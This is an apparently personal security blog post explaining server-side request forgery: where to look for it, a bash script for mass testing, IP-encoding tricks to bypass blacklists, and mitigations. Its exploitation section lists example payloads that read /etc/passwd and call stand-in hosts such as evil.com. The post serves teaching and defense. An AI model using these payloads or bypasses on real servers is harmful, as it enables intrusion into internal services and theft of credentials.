Application Security

SSRF Vulnerabilities Unveiled: Exploring the Depths and Defenses

Server Side Request Forgery (SSRF) is a server-side vulnerability found in web applications that lets an attacker abuse the server to make…

fuffsec

16 Sep 2023 • 4 min read

Server Side Request Forgery (SSRF) is a server-side vulnerability found in web applications that lets an attacker abuse the server to make a request to a third-party service or to another internal resource, often bypassing access controls and obtaining data or performing actions that the attacker wouldn’t otherwise be able to.

In essence, the attacker exploits the trust relationship that a web application has within its internal network or with other external web services.

SSRF vulnerabilities pose a risk for microservices architecture. Typically, microservices might have a simpler security framework, with many safeguards and protocols implemented by the API gateway/reverse proxy level. If these microservices exist within a non-segmented network, an SSRF vulnerability could be exploited to instigate direct communication between two microservices, bypassing the primary security mechanisms set at the API gateway.

Types of SSRF

In a blind SSRF, no part of the response can be seen. It is kind of hard to exploit.
In a non-blind SSRF, the response to the request from the server can be seen by the attacker.

Where/How to Find

Look for the below parameters

dest 
redirect 
uri 
path 
continue 
url 
window 
next 
data 
reference 
site 
html 
val 
validate 
domain 
callback 
return 
page 
feed 
host 
port 
to 
out 
view 
dir 
show 
navigation

2. look for import functions using URL

3. look for the PDF generation function [1]

4. Webhook integrations

5. check at “Referrer header”

6. Use fuzzing tools such as SSRFmap

7. Mass automation (Dumb force method)

#!/bin/bash 
 
# Check if the target domain is provided as an argument 
if [ "$#" -ne 1 ]; then 
    echo "Usage: $0 <target-domain>" 
    exit 1 
fi 
 
TARGET="$1" 
 
# Gather URLs using waybackurl and gau 
waybackurl $TARGET >> ssrf.txt 
gau -subs $TARGET >> ssrf.txt 
 
# Process and filter URLs 
cat ssrf.txt | sort -u | anew | httpx | tee -a prefinal_ssrftesturl.txt 
cat prefinal_ssrftesturl.txt | gf ssrf >> final_ssrftesturl.txt 
 
# Replace placeholders for testing SSRF 
cat final_ssrftesturl.txt | qsreplace "Burp collaborator server" >> final.txt 
 
# Run ffuf with the prepared list 
ffuf -c -w final.txt -u FUZZ 
 
# Optionally: Clean up intermediate files 
# rm ssrf.txt prefinal_ssrftesturl.txt final_ssrftesturl.txt final.txt

Tools to catch requests:

Bypass Whitelisting and Blacklisting

[3]

whitelisting — Allowing specific URLs (Allowed Hosts)

Assume a server whitelists google.com, allowing only google.com to be fetched using SSRF while rejecting all other domains. The sole method to bypass whitelisting is to locate an open redirect within the whitelisted domain.

blacklisting — Blocking specific URLs (Disallowed Hosts)

In the same way if a server blacklist google.com and when you ask the server to fetch google.com it blocks

Blacklisting can be bypassed in many ways

Converting IP to hexadecimal -

example — converting http://192.168.0.1 to doted hex — http://c0.a8.00.01 and dotless hex http://0xc0a80001

Converting IP to Decimal -

Use any online convertors ( Link )

Converting IP to Octal -

example — converting http://192.168.0.1 to doted octal http://0300.0250.0000.0001 and dotless http://030052000001

Using wildcard DNS

Exploitation:

Cloud SSRF

If a machine running in a cloud environment has a SSRF vulnerability, sensitive information and credentials can be accessed.<link>

2. Access “Remote access” denied pages since they can be accessed locally

3. Auth bypass (microservices)

There will be no restrictions for two microservices since they believe that authenticating each internal request increases processing time.

4. Internal port scan

5. Try following protocols to gather or exfiltrate information

- **File**: 
  Usage: Access local files 
  Example: `ssrf.php?url=file:///etc/passwd` 
 
- **DICT**: 
  Usage: Retrieve word definitions/lists via DICT protocol 
  Example: `ssrf.php?url=dict://attacker:11111/` 
 
- **SFTP**: 
  Usage: Secure file transfer over SSH 
  Example: `ssrf.php?url=sftp://evil.com:11111/` 
 
- **TFTP**: 
  Usage: File transfer over UDP 
  Example: `ssrf.php?url=tftp://evil.com:12346/TESTUDPPACKET` 
 
- **LDAP**: 
  Usage: Manage/access distributed directory services over IP 
  Example: `ssrf.php?url=ldap://localhost:11211/%0astats%0aquit` 
 
- **Gopher**: 
  Usage: Communicate with TCP servers (knowing service protocol is essential) 
  Tools: Gopherus (payloads) & remote-method-guesser (Java RMI payloads)

Defenses:

Mitigating SSRF with Firewalls: Implement a firewall policy that specifies which host applications can connect to. This can be done using network infrastructure or directly on the host.
Mitigating SSRF with Application Controls: Use application layer controls to check if a target address is allowed before creating a connection. This helps in ensuring that only legitimate addresses are accessed.
Whitelists and DNS Resolution: Create an allowlist of hostnames or IP addresses that the application needs to access. If an allowlist isn’t feasible, create a denylist and validate user input against this list.
Authentication on Internal Services: Many services, like caching services and NoSQL databases, don’t require authentication by default. It’s crucial to enable authentication for all services within your local network to prevent unauthorized access.
Harden Cloud Services: Cloud vendors like AWS and Azure offer SSRF mitigation by hardening their configurations. However, it’s essential to set strong identity and access management (IAM) policies for better protection.
Response Handling: To prevent attackers from gaining insights from response data, applications should validate all responses. The raw response body of a request should never be displayed to the client.
Disable Unused URL Schemas: Most applications use HTTP or HTTPS for requests. Disabling old or uncommon URL schemes like file:///, ftp://, and gopher:// can prevent attacks that exploit these protocols.

Thanks for reading. If you want frequent updates, feel free to follow me here.

If you want to reach out to me, here is my Twitter and LinkedIn.

☛ My-Twitter
☛ My-Linkedin

Signing off…